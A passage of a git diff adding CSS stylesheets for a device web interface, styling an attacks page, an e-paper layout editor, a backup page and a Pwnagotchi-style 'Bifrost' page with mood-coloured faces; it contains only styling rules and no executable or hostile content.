8px 10px 10px; +} + +.attacks-container .tab-btn { + flex: 1; + padding: 8px 4px; + border: 1px solid var(--_border); + border-bottom: none; + cursor: pointer; + font-size: 12px; + font-weight: 700; + letter-spacing: .02em; + border-radius: 8px 8px 0 0; + color: var(--_muted); + background: transparent; + transition: color .15s, background .15s; + white-space: nowrap; + overflow: hidden; + text-overflow: ellipsis; +} + +.attacks-container .tab-btn:hover { + color: var(--_ink); + background: var(--_panel-lo); +} + +.attacks-container .tab-btn.active { + color: var(--_ink); + background: color-mix(in oklab, var(--_acid2) 10%, var(--_panel-lo)); + border-color: color-mix(in oklab, var(--_acid2) 25%, var(--_border)); +} + +/* ── Unified list (shared across sidebar tabs) ────────────── */ +.attacks-container .unified-list { + list-style: none; + margin: 0; + padding: 0; +} + +.attacks-container .unified-list .card { + display: flex; + align-items: center; + gap: 10px; + padding: 8px; + margin-bottom: 4px; + cursor: pointer; + border-radius: 10px; + background: var(--_panel-lo); + transition: background .15s; + border: 1px solid transparent; +} + +.attacks-container .unified-list .card:hover { + background: var(--_panel-hi); +} + +.attacks-container .unified-list .card.selected { + background: color-mix(in oklab, var(--_acid2) 12%, var(--_panel-hi)); + border-color: color-mix(in oklab, var(--_acid2) 30%, var(--_border)); +} + +.attacks-container .unified-list .card img { + height: 40px; + width: 40px; + border-radius: 8px; + object-fit: cover; + background: #0b0e13; + border: 1px solid var(--_border); + flex: 0 0 auto; +} + +.attacks-container .unified-list .card span { + flex: 1; + font-weight: 700; + font-size: 13px; + color: var(--_ink); + overflow: hidden; + text-overflow: ellipsis; + white-space: nowrap; +} + +/* ── Enable dot ───────────────────────────────────────────── */ +.attacks-container .enable-dot { + --size: 12px; + width: var(--size); + height: var(--size); + border-radius: 999px; + border: 1px solid var(--_border); + background: var(--ko); + box-shadow: 0 0 0 0 var(--ko-glow); + transition: .18s ease; + flex: 0 0 auto; + cursor: pointer; +} + +.attacks-container .enable-dot.on { + background: var(--ok); + box-shadow: 0 0 0 3px var(--ok-glow); + border-color: color-mix(in oklab, var(--ok) 45%, var(--_border)); +} + +.attacks-container .enable-dot:focus-visible { + outline: none; + box-shadow: 0 0 0 3px color-mix(in oklab, var(--_acid2) 45%, transparent); +} + +/* ── Page content panels ──────────────────────────────────── */ +.attacks-container .page-content { + display: none; + flex-direction: column; + min-height: 0; + flex: 1; + overflow-y: auto; + overflow-x: hidden; + padding: 10px; +} + +.attacks-container .page-content.active { + display: flex; +} + +/* Suppress focus ring on main area (used for arrow key nav in EPD editor) */ +.attacks-container .page-content:focus { + outline: none; +} + +/* ── ATTACKS TAB: Editor ──────────────────────────────────── */ +.attacks-container .editor-textarea-container { + display: flex; + flex-direction: column; + flex: 1; + gap: 10px; + min-height: 0; +} + +.attacks-container .editor-header { + display: flex; + justify-content: space-between; + align-items: center; + gap: 10px; + flex-wrap: wrap; + flex-shrink: 0; +} + +.attacks-container .editor-header h2 { + font-size: 16px; + margin: 0; +} + +.attacks-container .editor-buttons { + display: flex; + gap: 6px; +} + +.attacks-container .editor-textarea { + flex: 1; + min-height: 200px; + resize: vertical; + font-family: ui-monospace, SFMono-Regular, Menlo, Consolas, monospace; + font-size: 13px; + line-height: 1.5; + color: var(--_ink); + background: var(--_panel-lo); + border: 1px solid var(--_border); + border-radius: 10px; + padding: 12px; + transition: border-color .15s; +} + +.attacks-container .editor-textarea:focus { + outline: none; + border-color: color-mix(in oklab, var(--_acid2) 28%, var(--_border)); + box-shadow: 0 0 0 2px color-mix(in oklab, var(--_acid2) 12%, transparent); + background: var(--_panel-hi); +} + +/* ── IMAGES TAB: Actions bar + grid ───────────────────────── */ +.attacks-container .actions-bar { + display: flex; + flex-wrap: wrap; + gap: 8px; + margin-bottom: 12px; + position: sticky; + top: 0; + z-index: 10; + background: var(--_panel); + padding: 8px 10px; + border-radius: 10px; + border: 1px solid var(--_border); + backdrop-filter: blur(10px); +} + +.attacks-container .actions-bar button, +.attacks-container .chip, +.attacks-container .select, +.attacks-container .sort-toggle { + border-radius: 8px; + border: 1px solid var(--_border); + color: var(--_ink); + background: var(--_panel-lo); + padding: 7px 10px; + cursor: pointer; + transition: .15s; + font-weight: 700; + font-size: 12px; + white-space: nowrap; +} + +.attacks-container .actions-bar button:hover, +.attacks-container .chip:hover, +.attacks-container .select:hover, +.attacks-container .sort-toggle:hover { + background: var(--_panel-hi); +} + +.attacks-container .actions-bar button.danger { + background: color-mix(in oklab, var(--_acid) 10%, var(--_panel-lo)); +} + +.attacks-container .actions-bar button.danger:hover { + background: color-mix(in oklab, var(--_acid) 16%, var(--_panel-hi)); +} + +.attacks-container .chip { border-radius: 999px; } +.attacks-container .select { appearance: none; } +.attacks-container .sort-toggle { min-width: 36px; text-align: center; } + +.attacks-container .field { + position: relative; + min-width: 140px; + flex: 1 1 140px; + max-width: 240px; +} + +.attacks-container .input { + width: 100%; + padding: 7px 10px 7px 32px; + color: var(--_ink); + background: var(--_panel-lo); + border: 1px solid var(--_border); + border-radius: 8px; + outline: none; + font-size: 12px; + transition: .15s; +} + +.attacks-container .input:focus { + border-color: color-mix(in oklab, var(--_acid2) 28%, var(--_border)); + box-shadow: 0 0 0 2px color-mix(in oklab, var(--_acid2) 12%, transparent); + background: var(--_panel-hi); +} + +.attacks-container .field .icon { + position: absolute; + left: 10px; + top: 7px; + opacity: .6; + pointer-events: none; + font-size: 12px; +} + +.attacks-container .range-wrap { + display: flex; + align-items: center; + gap: 6px; + font-size: 12px; +} + +.attacks-container .range { accent-color: var(--_acid); } + +.attacks-container .image-container { + display: grid; + gap: 8px; + grid-template-columns: repeat(auto-fill, minmax(var(--tile-min), 1fr)); + padding-bottom: 80px; +} + +.attacks-container .image-item { + position: relative; + border-radius: 10px; + overflow: hidden; + cursor: pointer; + aspect-ratio: 1/1; + transition: .15s; + background: var(--_panel-lo); + border: 1px solid var(--_border); +} + +.attacks-container .image-item:hover { + transform: translateY(-2px); + box-shadow: var(--_shadow); +} + +.attacks-container .image-item img { + width: 100%; + height: 100%; + display: block; + object-fit: contain; + background: #0b0e13; + image-rendering: pixelated; +} + +.attacks-container .image-info { + position: absolute; + inset: auto 0 0 0; + padding: 4px 6px; + text-align: center; + font-size: 11px; + color: var(--_ink); + background: linear-gradient(180deg, transparent, rgba(0, 0, 0, .7)); +} + +.attacks-container .select-ring { + position: absolute; + inset: 0; + pointer-events: none; + border: 3px solid transparent; + border-radius: 10px; + transition: .15s; +} + +.attacks-container .image-item.selectable:hover .select-ring { + border-color: color-mix(in oklab, var(--_acid2) 35%, transparent); +} + +.attacks-container .image-item.selected .select-ring { + border-color: var(--_acid2); + box-shadow: inset 0 0 0 1px color-mix(in oklab, var(--_acid2) 30%, transparent); +} + +.attacks-container .tick-overlay { + position: absolute; + top: 6px; + right: 6px; + width: 22px; + height: 22px; + border-radius: 50%; + background: color-mix(in oklab, var(--_acid) 80%, white); + color: #001; + font-weight: 900; + font-size: 12px; + display: none; + align-items: center; + justify-content: center; + box-shadow: var(--_shadow); +} + +.attacks-container .image-item.selected .tick-overlay { + display: flex; +} + +.attacks-container .skeleton { + border-radius: 10px; + aspect-ratio: 1/1; + background: linear-gradient(90deg, rgba(255, 255, 255, .03) 25%, rgba(255, 255, 255, .07) 37%, rgba(255, 255, 255, .03) 63%); + background-size: 400% 100%; + animation: atk-shimmer 1.1s infinite; + border: 1px solid var(--_border); +} + +@keyframes atk-shimmer { + 0% { background-position: 100% 0; } + 100% { background-position: 0 0; } +} + +/* ── Mode visibility toggles ─────────────────────────────── */ +.attacks-container .edit-only { display: none; } +.attacks-container .status-only { display: none; } +.attacks-container .static-only { display: none; } +.attacks-container .web-only { display: none; } +.attacks-container .icons-only { display: none; } + +.attacks-container .edit-mode .edit-only { display: inline-flex; } +.attacks-container .status-mode .status-only { display: inline-block; } +.attacks-container .static-mode .static-only { display: inline-block; } +.attacks-container .web-mode .web-only { display: inline-block; } +.attacks-container .icons-mode .icons-only { display: inline-block; } + +/* ── COMMENTS TAB ─────────────────────────────────────────── */ +.attacks-container .buttons-container { + display: flex; + align-items: center; + justify-content: flex-end; + gap: 8px; + margin-bottom: 8px; + flex-wrap: wrap; + position: sticky; + top: 0; + z-index: 10; + background: var(--_panel); + padding: 6px 8px; + border-radius: 10px; + flex-shrink: 0; +} + +.attacks-container .buttons-container h2 { + margin: 0; + margin-right: auto; + font-size: 16px; +} + +.attacks-container .comments-container { + display: flex; + flex: 1 1 auto; + min-height: 0; +} + +.attacks-container .comments-editor { + flex: 1 1 auto; + min-width: 0; + min-height: 0; + overflow: auto; + white-space: pre; + word-wrap: normal; + background: var(--_panel-lo); + color: var(--_ink); + border: 1px solid var(--_border); + border-radius: 10px; + padding: 14px; + font-family: ui-monospace, SFMono-Regular, Menlo, Consolas, monospace; + font-size: 13px; +} + +.attacks-container .comments-editor:focus { + outline: none; + border-color: color-mix(in oklab, var(--_acid2) 28%, var(--_border)); + box-shadow: 0 0 0 2px color-mix(in oklab, var(--_acid2) 12%, transparent); + background: var(--_panel-hi); +} + +.attacks-container .comments-editor.placeholder { color: var(--_muted); } +.attacks-container .comment-line { display: block; width: 100%; } +.attacks-container .comment-line:nth-child(odd) { color: var(--_ink); } +.attacks-container .comment-line:nth-child(even) { color: var(--_acid); } + +/* ── Modals (shared) ──────────────────────────────────────── */ +.attacks-container .modal-action { + display: none; + position: fixed; + inset: 0; + z-index: 1000; + padding: 10px; + background: rgba(0, 0, 0, .6); + justify-content: center; + align-items: center; +} + +.attacks-container .modal-content { + position: relative; + width: 100%; + max-width: 520px; + max-height: 90vh; + overflow-y: auto; + background: var(--_panel-hi); + padding: 20px; + border-radius: 14px; + border: 1px solid var(--_border); + box-shadow: var(--_shadow); +} + +.attacks-container .modal-header h3 { margin: 0 0 10px; color: var(--_ink); } +.attacks-container .modal-body { margin-bottom: 16px; } +.attacks-container .modal-footer { display: flex; justify-content: flex-end; gap: 8px; } + +.attacks-container .close { + position: absolute; + right: 10px; + top: 10px; + font-size: 20px; + cursor: pointer; + color: var(--_muted); + background: none; + border: none; +} + +.attacks-container .form-group { margin-bottom: 14px; } +.attacks-container .form-group label { + display: block; + margin-bottom: 5px; + color: var(--_muted); + font-weight: 700; + font-size: 12px; +} + +.attacks-container .form-group input[type="text"], +.attacks-container .form-group input[type="number"], +.attacks-container .form-group input[type="file"] { + width: 100%; + padding: 8px 10px; + color: var(--_ink); + background: var(--_panel-lo); + border: 1px solid var(--_border); + border-radius: 8px; + outline: none; + font-size: 13px; + transition: .15s; +} + +.attacks-container .form-group input:focus { + border-color: color-mix(in oklab, var(--_acid2) 28%, var(--_border)); + box-shadow: 0 0 0 2px color-mix(in oklab, var(--_acid2) 12%, transparent); + background: var(--_panel-hi); +} + +/* ── Sidebar action buttons / hero buttons ────────────────── */ +.attacks-container .action-btn-container { + padding: 2px; + gap: 2px; + display: flex; + flex-wrap: wrap; + align-items: center; + justify-content: center; +} + +.attacks-container .hero-btn { + border-radius: 12px; + background: var(--grid), var(--grad-hero); + position: sticky; + bottom: 0; + border: 1px solid var(--c-border); + box-shadow: var(--shadow); + display: flex; + flex-wrap: wrap; + align-items: center; + justify-content: center; + gap: 4px; + text-align: center; + padding: 6px; +} + +/* ── Responsive: mobile main area ─────────────────────────── */ +@media (max-width: 900px) { + .attacks-container .attacks-main.page-main { + max-height: calc(100vh - var(--h-topbar, 56px) - var(--h-bottombar, 56px) - 12px); + } +} + +/* ── Responsive: base (all tabs) ──────────────────────────── */ +@media (max-width: 480px) { + .attacks-container .tabs-container { gap: 2px; } + + .attacks-container .tab-btn { + font-size: 11px; + padding: 6px 3px; + } + + .attacks-container .actions-bar { + gap: 6px; + padding: 6px; + } + + .attacks-container .actions-bar button, + .attacks-container .chip, + .attacks-container .select { + padding: 6px 8px; + font-size: 11px; + } +} + + +/* ========================================================================== + EPD LAYOUT EDITOR + ========================================================================== */ + +/* ── Toolbar — two compact rows ───────────────────────────── */ +.epd-editor-toolbar { + display: flex; + flex-direction: column; + gap: 5px; + margin-bottom: 10px; + position: sticky; + top: 0; + z-index: 10; + background: var(--_panel); + padding: 8px 10px; + border-radius: 10px; + border: 1px solid var(--_border); + backdrop-filter: blur(10px); +} + +.epd-toolbar-row { + display: flex; + flex-wrap: wrap; + gap: 6px; + align-items: center; +} + +.epd-editor-toolbar .select, +.epd-editor-toolbar .btn { + border-radius: 8px; + border: 1px solid var(--_border); + color: var(--_ink); + background: var(--_panel-lo); + padding: 5px 9px; + cursor: pointer; + transition: .15s; + font-weight: 700; + font-size: 12px; + white-space: nowrap; +} + +.epd-editor-toolbar .select { appearance: none; } + +.epd-editor-toolbar .btn:hover, +.epd-editor-toolbar .select:hover { + background: var(--_panel-hi); +} + +.epd-editor-toolbar .btn.active { + background: color-mix(in oklab, var(--_acid2) 14%, var(--_panel-lo)); + border-color: color-mix(in oklab, var(--_acid2) 25%, var(--_border)); +} + +.epd-editor-toolbar .btn.danger { + background: color-mix(in oklab, var(--_acid) 10%, var(--_panel-lo)); +} + +.epd-editor-toolbar .btn.danger:hover { + background: color-mix(in oklab, var(--_acid) 16%, var(--_panel-hi)); +} + +/* ── Zoom ─────────────────────────────────────────────────── */ +.epd-zoom-wrap { + display: flex; + align-items: center; + gap: 5px; + font-size: 12px; + font-weight: 600; +} + +.epd-zoom-range { + width: 70px; + accent-color: var(--_acid); +} + +.epd-zoom-label { + min-width: 32px; + text-align: right; + opacity: .65; + font-size: 11px; +} + +/* ── Content row: canvas + live preview ───────────────────── */ +.epd-content-row { + display: flex; + gap: 12px; + align-items: flex-start; + min-height: 0; + flex: 1; +} + +/* ── Canvas wrapper — scrolls internally, never causes page scroll */ +.epd-canvas-wrapper { + flex: 1 1 0; + min-width: 0; + max-height: calc(100vh - var(--h-topbar, 56px) - var(--h-bottombar, 56px) - 140px); + overflow: auto; + border-radius: 10px; + border: 1px solid var(--_border); + padding: 12px; + /* Checkerboard transparency */ + background-image: + linear-gradient(45deg, #e0e0e0 25%, transparent 25%), + linear-gradient(-45deg, #e0e0e0 25%, transparent 25%), + linear-gradient(45deg, transparent 75%, #e0e0e0 75%), + linear-gradient(-45deg, transparent 75%, #e0e0e0 75%); + background-size: 14px 14px; + background-position: 0 0, 0 7px, 7px -7px, -7px 0; + background-color: #f0f0f0; +} + +.epd-canvas-wrapper.mode-bn { + background-image: + linear-gradient(45deg, #1a1a1a 25%, transparent 25%), + linear-gradient(-45deg, #1a1a1a 25%, transparent 25%), + linear-gradient(45deg, transparent 75%, #1a1a1a 75%), + linear-gradient(-45deg, transparent 75%, #1a1a1a 75%); + background-color: #111; +} + +/* Inverted mode — handled at SVG level (bg fill + image filter) */ + +.epd-canvas-wrapper svg { + display: block; + cursor: crosshair; +} + +.epd-canvas-wrapper svg g[data-key] { cursor: move; } +.epd-canvas-wrapper svg g[data-key] rect { transition: stroke-width .1s; } +.epd-canvas-wrapper svg g[data-key]:hover rect { stroke-width: 1.2; } + +/* ── Live EPD preview ─────────────────────────────────────── */ +.epd-live-panel { + flex: 0 0 auto; + width: 180px; + background: var(--_panel-lo); + border: 1px solid var(--_border); + border-radius: 10px; + padding: 10px; + text-align: center; + position: sticky; + top: 0; +} + +.epd-live-panel h4 { + margin: 0 0 6px; + font-size: 12px; + font-weight: 700; + color: var(--_ink); + opacity: .7; +} + +.epd-live-img { + width: 100%; + border-radius: 4px; + border: 1px solid var(--_border); + background: #0b0e13; + image-rendering: pixelated; + transition: opacity .3s; +} + +/* ── Sidebar: properties panel ────────────────────────────── */ +.epd-props-panel { + padding: 0 0 8px; + border-bottom: 1px solid var(--_border); + margin-bottom: 8px; +} + +.epd-props-panel h4 { + margin: 0 0 6px; + font-size: 14px; + color: var(--_acid2); +} + +.epd-hint { + opacity: .55; + font-size: 12px; + margin: 4px 0; +} + +.epd-prop-row { + display: flex; + align-items: center; + gap: 6px; + margin-bottom: 3px; +} + +.epd-prop-row label { + font-weight: 700; + font-size: 12px; + min-width: 20px; + color: var(--_muted); +} + +.epd-prop-input { + width: 60px; + padding: 4px 6px; + font-size: 12px; + color: var(--_ink); + background: var(--_panel-lo); + border: 1px solid var(--_border); + border-radius: 6px; + outline: none; + transition: .15s; +} + +.epd-prop-input:focus { + border-color: color-mix(in oklab, var(--_acid2) 28%, var(--_border)); + box-shadow: 0 0 0 2px color-mix(in oklab, var(--_acid2) 12%, transparent); +} + +.epd-delete-btn { + margin-top: 6px; + width: 100%; +} + +/* ── Sidebar: element list ────────────────────────────────── */ +.epd-elements-list { + flex: 1; + min-height: 0; +} + +.epd-elements-list h4 { + margin: 8px 0 4px; + font-size: 13px; +} + +.epd-elements-list .unified-list { + max-height: none; + overflow-y: auto; +} + +.epd-element-item { + display: flex; + align-items: center; + gap: 6px; + padding: 5px 8px; + margin-bottom: 2px; + cursor: pointer; + border-radius: 8px; + background: transparent; + border: 1px solid transparent; + transition: background .12s; + font-size: 12px; +} + +.epd-element-item:hover { + background: var(--_panel-lo); +} + +.epd-element-item.selected { + background: color-mix(in oklab, var(--_acid2) 12%, var(--_panel-hi)); + border-color: color-mix(in oklab, var(--_acid2) 25%, var(--_border)); +} + +.epd-type-dot { + width: 8px; + height: 8px; + border-radius: 50%; + flex: 0 0 auto; +} + +.epd-list-icon { + width: 16px; + height: 16px; + object-fit: contain; + image-rendering: pixelated; + border-radius: 2px; + flex: 0 0 auto; + background: #0b0e13; +} + +.epd-line-dash { + font-weight: 900; + opacity: .4; + min-width: 14px; + font-size: 11px; +} + +.epd-coords { + font-size: 10px; + opacity: .4; + font-family: monospace; + margin-left: auto; +} + +.epd-list-divider { + padding: 4px 8px; + font-size: 10px; + font-weight: 800; + text-transform: uppercase; + opacity: .4; + letter-spacing: .06em; + list-style: none; +} + +/* ── Sidebar: font sizes ──────────────────────────────────── */ +.epd-fonts-section { + border-top: 1px solid var(--_border); + padding-top: 6px; + margin-top: 6px; +} + +.epd-fonts-section h4 { + margin: 0 0 4px; + font-size: 13px; +} + +.epd-fonts-section .epd-prop-row label { + min-width: 80px; + font-size: 11px; +} + +.epd-meta-info { opacity: .4; font-size: 10px; } + +/* ── Add element modal ────────────────────────────────────── */ +.epd-add-modal { + display: none; + position: fixed; + inset: 0; + z-index: 1000; + padding: 10px; + background: rgba(0, 0, 0, .6); + justify-content: center; + align-items: center; +} + +.epd-add-modal .modal-content { + width: 100%; + max-width: 360px; + background: var(--_panel-hi); + padding: 18px; + border-radius: 12px; + border: 1px solid var(--_border); + box-shadow: var(--_shadow); +} + +.epd-add-modal .form-group { margin-bottom: 10px; } + +.epd-add-modal .form-group label { + display: block; + margin-bottom: 4px; + color: var(--_muted); + font-weight: 700; + font-size: 12px; +} + +.epd-add-modal .modal-footer { + display: flex; + justify-content: flex-end; + gap: 6px; + margin-top: 14px; +} + +/* ── Responsive: EPD ──────────────────────────────────────── */ +@media (max-width: 900px) { + .epd-content-row { + flex-direction: column; + } + + .epd-live-panel { + width: 100%; + max-width: 100%; + position: static; + } + + .epd-canvas-wrapper { + max-height: 65vh; + } +} + +@media (max-width: 480px) { + .epd-editor-toolbar { + gap: 3px; + padding: 6px; + } + + .epd-toolbar-row { gap: 4px; } + + .epd-editor-toolbar .select, + .epd-editor-toolbar .btn { + padding: 4px 7px; + font-size: 11px; + } + + .epd-zoom-range { width: 50px; } + .epd-canvas-wrapper { padding: 6px; max-height: 55vh; } + .epd-live-panel { padding: 6px; } +} diff --git a/web/css/pages/backup.css b/web/css/pages/backup.css new file mode 100644 index 0000000..1ffb2d6 --- /dev/null +++ b/web/css/pages/backup.css @@ -0,0 +1,274 @@ +/* ===== BACKUP PAGE (NEW SPA LAYOUT) ===== */ +.page-backup { + padding: 10px; +} + +.page-backup { + padding: 10px; +} + +.page-backup .backup-sidebar, +.page-backup .backup-main { + border: 1px solid var(--c-border); + border-radius: 12px; + background: var(--grad-card); + box-shadow: var(--shadow); +} + +.page-backup .backup-sidebar { + padding: 12px; + display: grid; + align-content: start; + gap: 10px; +} + +.page-backup .backup-sidehead { + border-bottom: 1px dashed var(--c-border); + padding-bottom: 8px; +} + +.page-backup .backup-side-title { + margin: 0; + color: var(--acid); + font-size: 14px; + letter-spacing: .04em; + text-transform: uppercase; +} + +.page-backup .backup-nav-item { + width: 100%; + border: 1px solid var(--c-border); + border-radius: 12px; + background: color-mix(in oklab, var(--panel) 88%, transparent); + color: var(--ink); + display: flex; + align-items: center; + gap: 10px; + padding: 10px; + cursor: pointer; + transition: .18s; + text-align: left; +} + +.page-backup .backup-nav-item:hover { + transform: translateY(-1px); + box-shadow: var(--shadow); +} + +.page-backup .backup-nav-item.active { + border-color: color-mix(in oklab, var(--acid) 45%, var(--c-border)); + box-shadow: inset 0 0 0 1px color-mix(in oklab, var(--acid-2) 30%, transparent); +} + +.page-backup .backup-nav-icon { + width: 42px; + height: 42px; + object-fit: contain; + border-radius: 8px; + background: rgba(0, 0, 0, .2); +} + +.page-backup .backup-nav-label { + font-weight: 700; + letter-spacing: .01em; +} + +.page-backup .backup-main { + padding: 14px; + overflow: auto; +} + +.page-backup .backup-title { + margin: 0 0 12px 0; +} + +.page-backup .backup-form { + margin-bottom: 14px; +} + +.page-backup .backup-label { + display: block; + margin-bottom: 8px; + color: var(--muted); +} + +.page-backup .backup-form-row { + display: flex; + gap: 8px; + flex-wrap: wrap; +} + +.page-backup .backup-input { + flex: 1; + min-width: 220px; + border: 1px solid var(--c-border); + border-radius: 10px; + background: var(--c-panel); + color: var(--ink); + padding: 10px 12px; +} + +.page-backup .backup-subtitle { + margin: 10px 0; + color: var(--muted); + font-size: 13px; + text-transform: uppercase; + letter-spacing: .03em; +} + +.page-backup .backup-table-wrap { + overflow: auto; + border: 1px solid var(--c-border); + border-radius: 12px; +} + +.page-backup .backup-table { + width: 100%; + border-collapse: collapse; +} + +.page-backup .backup-table th, +.page-backup .backup-table td { + padding: 10px; + border-bottom: 1px dashed var(--c-border); + text-align: left; + vertical-align: top; +} + +.page-backup .backup-row-actions { + display: flex; + gap: 6px; + flex-wrap: wrap; +} + +.page-backup .backup-default-pill { + margin-left: 8px; +} + +.page-backup .backup-empty { + padding: 22px; + text-align: center; + color: var(--muted); +} + +.page-backup .backup-update-message { + background: color-mix(in oklab, var(--ok) 18%, transparent); + border: 1px solid color-mix(in oklab, var(--ok) 40%, var(--c-border)); + border-radius: 999px; + padding: 10px 14px; + display: inline-block; + margin-bottom: 12px; +} + +.page-backup .backup-version-lines { + display: grid; + gap: 4px; +} + +.page-backup .backup-update-available { + color: var(--acid); + font-weight: 700; +} + +.page-backup .backup-update-ok { + color: var(--ok); + font-weight: 700; +} + +.page-backup .backup-update-actions { + display: flex; + gap: 8px; + flex-wrap: wrap; +} + +.page-backup .backup-modal-overlay { + position: fixed; + inset: 0; + z-index: 1200; + background: rgba(0, 0, 0, .6); + display: none; + align-items: center; + justify-content: center; + padding: 10px; +} + +.page-backup .backup-modal { + width: min(480px, 95vw); + background: var(--grad-card); + border: 1px solid var(--c-border); + border-radius: 14px; + padding: 12px; + box-shadow: var(--shadow-hover); +} + +.page-backup .backup-modal-head { + display: flex; + align-items: center; + gap: 8px; + justify-content: space-between; +} + +.page-backup .backup-modal-title { + margin: 0; +} + +.page-backup .backup-modal-help { + color: var(--muted); + margin: 8px 0 10px 0; +} + +.page-backup .backup-keep { + display: flex; + gap: 8px; + align-items: center; + padding: 4px 0; +} + +.page-backup .backup-modal-actions { + display: flex; + justify-content: flex-end; + gap: 8px; + margin-top: 12px; + padding-top: 10px; + border-top: 1px dashed var(--c-border); +} + +.page-backup .backup-loading-overlay { + position: fixed; + inset: 0; + z-index: 1300; + background: rgba(0, 0, 0, .6); + display: none; + align-items: center; + justify-content: center; +} + +.page-backup .backup-spinner { + width: 52px; + height: 52px; + border: 4px solid transparent; + border-top-color: var(--accent-2); + border-right-color: var(--accent-2); + border-radius: 50%; + animation: bak-spin .9s linear infinite; +} + +/* Integrated layout provided by shared.css page-with-sidebar */ +.page-backup.page-with-sidebar { + --page-sidebar-w: 280px; + min-height: calc(100vh - var(--h-topbar, 56px) - var(--h-bottombar, 60px) - 24px); +} + +.page-backup.page-with-sidebar .backup-sidebar { + padding: 12px; + display: flex; + flex-direction: column; + gap: 10px; +} + +.page-backup.page-with-sidebar .backup-main { + min-width: 0; + min-height: 0; + display: flex; + flex-direction: column; +} \ No newline at end of file diff --git a/web/css/pages/bifrost.css b/web/css/pages/bifrost.css new file mode 100644 index 0000000..1787e99 --- /dev/null +++ b/web/css/pages/bifrost.css @@ -0,0 +1,518 @@ +/* ============================================================ + Bifrost (Pwnagotchi Mode) — SPA page styles + ============================================================ */ + +.bifrost-page { + display: flex; + flex-direction: column; + height: 100%; + min-height: 0; + gap: 12px; + padding: 15px; +} + +/* ── Header bar ─────────────────────────────────────────── */ + +.bifrost-header { + display: flex; + justify-content: space-between; + align-items: center; + flex-shrink: 0; + flex-wrap: wrap; + gap: 10px; +} + +.bifrost-title { + margin: 0; + font-size: 1.3rem; + font-weight: 800; + color: var(--ink); + display: flex; + align-items: center; + gap: 8px; +} + +.bifrost-title-icon { font-size: 1.5rem; } + +.bifrost-controls { + display: flex; + gap: 8px; + align-items: center; +} + +.bifrost-btn { + display: flex; + align-items: center; + gap: 8px; + padding: 6px 14px; + border-radius: 8px; + border: 1px solid var(--c-border); + background: var(--c-panel); + font-size: 0.8rem; + font-weight: 700; + color: var(--ink); + cursor: pointer; + transition: 0.2s; +} + +.bifrost-btn.active { + border-color: var(--acid); + background: rgba(0, 255, 154, 0.08); + color: var(--acid); + box-shadow: 0 0 12px rgba(0, 255, 154, 0.15); +} + +.bifrost-btn .dot { + width: 8px; + height: 8px; + border-radius: 50%; + background: var(--muted-off, #555); + transition: 0.2s; +} + +.bifrost-btn.active .dot { + background: var(--acid); + box-shadow: 0 0 6px var(--acid); + animation: bifrost-pulse 2s infinite; +} + +@keyframes bifrost-pulse { + 0%, 100% { opacity: 0.7; box-shadow: 0 0 4px var(--acid); } + 50% { opacity: 1; box-shadow: 0 0 12px var(--acid); } +} + +/* ── Stats bar ──────────────────────────────────────────── */ + +.bifrost-stats { + display: flex; + gap: 10px; + flex-shrink: 0; + flex-wrap: wrap; +} + +.bifrost-stat { + flex: 1 1 100px; + padding: 10px 14px; + background: var(--grad-card); + border: 1px solid var(--c-border); + border-radius: 10px; + text-align: center; + min-width: 80px; +} + +.bifrost-stat-val { + font-size: 1.4rem; + font-weight: 800; + font-family: 'Fira Code', monospace; + color: var(--ink); + line-height: 1.2; +} + +.bifrost-stat-lbl { + font-size: 0.65rem; + color: var(--muted); + text-transform: uppercase; + letter-spacing: 0.5px; + margin-top: 4px; +} + +/* ── Main grid ──────────────────────────────────────────── */ + +.bifrost-grid { + display: grid; + grid-template-columns: 1fr 340px; + gap: 12px; + flex: 1; + min-height: 0; +} + +/* ── Panels ─────────────────────────────────────────────── */ + +.bifrost-panel { + background: var(--grad-card); + border: 1px solid var(--c-border); + border-radius: 12px; + display: flex; + flex-direction: column; + overflow: hidden; + min-height: 0; +} + +.bifrost-panel-head { + padding: 10px 14px; + font-size: 0.72rem; + font-weight: 700; + color: var(--muted); + text-transform: uppercase; + letter-spacing: 1px; + border-bottom: 1px solid var(--c-border); + background: rgba(0, 0, 0, 0.15); + flex-shrink: 0; + display: flex; + justify-content: space-between; + align-items: center; +} + +/* ── Face display ──────────────────────────────────────── */ + +.bifrost-live { + padding: 0; +} + +.bifrost-face-wrap { + display: flex; + flex-direction: column; + align-items: center; + justify-content: center; + padding: 30px 20px 16px; + gap: 8px; + flex-shrink: 0; +} + +.bifrost-face { + font-family: 'Fira Code', 'Courier New', monospace; + font-size: 2.8rem; + font-weight: 700; + color: var(--acid); + text-shadow: + 0 0 10px rgba(0, 255, 154, 0.4), + 0 0 30px rgba(0, 255, 154, 0.15); + text-align: center; + white-space: nowrap; + line-height: 1.2; + user-select: none; + transition: color 0.4s, text-shadow 0.4s; +} + +/* Mood-specific face colors */ +.bifrost-face.mood-excited { + color: #00ff9a; + text-shadow: 0 0 15px rgba(0, 255, 154, 0.6), 0 0 40px rgba(0, 255, 154, 0.25); +} +.bifrost-face.mood-happy { color: #00ff9a; } +.bifrost-face.mood-grateful { color: #00dcff; text-shadow: 0 0 10px rgba(0, 220, 255, 0.4); } +.bifrost-face.mood-bored { color: #ffd166; text-shadow: 0 0 10px rgba(255, 209, 102, 0.3); } +.bifrost-face.mood-sad { color: #7ba5c9; text-shadow: 0 0 10px rgba(123, 165, 201, 0.3); } +.bifrost-face.mood-angry { color: #ff3b3b; text-shadow: 0 0 10px rgba(255, 59, 59, 0.4); } +.bifrost-face.mood-lonely { color: #b48cff; text-shadow: 0 0 10px rgba(180, 140, 255, 0.3); } +.bifrost-face.mood-sleeping { color: var(--muted); text-shadow: none; } + +/* Mood badge */ +.bifrost-mood { + font-size: 0.72rem; + font-weight: 800; + text-transform: uppercase; + letter-spacing: 1px; + padding: 3px 12px; + border-radius: 20px; +} + +.mood-badge-excited { background: rgba(0,255,154,0.15); color: #00ff9a; } +.mood-badge-happy { background: rgba(0,255,154,0.12); color: #00ff9a; } +.mood-badge-grateful { background: rgba(0,220,255,0.15); color: #00dcff; } +.mood-badge-bored { background: rgba(255,209,102,0.15); color: #ffd166; } +.mood-badge-sad { background: rgba(123,165,201,0.15); color: #7ba5c9; } +.mood-badge-angry { background: rgba(255,59,59,0.15); color: #ff3b3b; } +.mood-badge-lonely { background: rgba(180,140,255,0.15); color: #b48cff; } +.mood-badge-sleeping { background: rgba(255,255,255,0.06); color: var(--muted); } +.mood-badge-starting { background: rgba(255,255,255,0.06); color: var(--muted); } +.mood-badge-ready { background: rgba(0,255,154,0.08); color: var(--acid); } + +.bifrost-voice { + font-size: 0.78rem; + color: var(--muted); + font-style: italic; + text-align: center; + 